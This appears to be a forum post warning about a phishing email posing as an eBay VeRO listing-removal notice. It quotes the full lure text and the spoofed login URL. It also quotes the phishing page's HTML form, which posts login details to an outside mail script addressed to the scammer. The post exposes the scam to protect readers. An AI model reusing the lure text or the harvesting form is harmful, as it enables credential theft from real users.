Default Fake ebay emails!

I Thought i better tell you guys,There is a fake ebay email going around,it's Looks like this:

Subject:VeRO NOTICE: eBay Listing(s) Removed - User Suspension - VeRO Program


We would like to let you know that we removed your listing:


because the intellectual property rights owner notified us, under penalty of perjury, that your listing or the item itself infringes their copyright,trademark, or other rights.

We have temporarily suspended activity on your account in order to allow us to investigate this matter further.

If you believe that this action may have been taken in error, or, if you feel that your account may have been tampered with, please contact our Live Help team so that we can provide additional information and work with you to resolve this issue.

We have credited any associated fees to your account. We have also notified the bidders that the listing(s) was removed, and that they are not obligated to complete the transaction.

If you believe your listing was ended in error, or have questions regarding the removal of this listing, please click here or contact the intellectual property rights owner directly at:

Entertainment Software Association
eBay is available to answer questions, but since it is the rights owner that requested the removal of your listing(s), we encourage you to contact them first.

For more information on eBay`s cooperation with rights owners through the VeRO Program, and a list of rights owners that have created About Me pages, please visit:


Thank you for your cooperation.

When you click on the login link it start off with this:http://com-au.sitesled.com/,As opposed to ebay's login: https://signin.ebay.com.au/

Also,When you do a search on the Item number (the one they say is infringing copyright) there are no items with that Number.Also when you take a look at the Source code of the login page,Where the Submit button is:

<FORM name=frmcadastro action=http://sistemas.dglnet.com.br/cgi-bin/mailto.exe method=post><INPUT type=hidden value=ebayc0m@yahoo.com name=sendto>
So when you hit submit the data is being sent to his email address.

I hate those.

There are a few REALLY REALLY believable ones. Almost had me fooled a few times.

Whatever, disregard almost all of it.

If your in any doubt, just log in to your ebay account and check the mail there, f its legit it will be listed there. Also, never click a link from an email, always enter your ebay addy, then you wont get caught out.
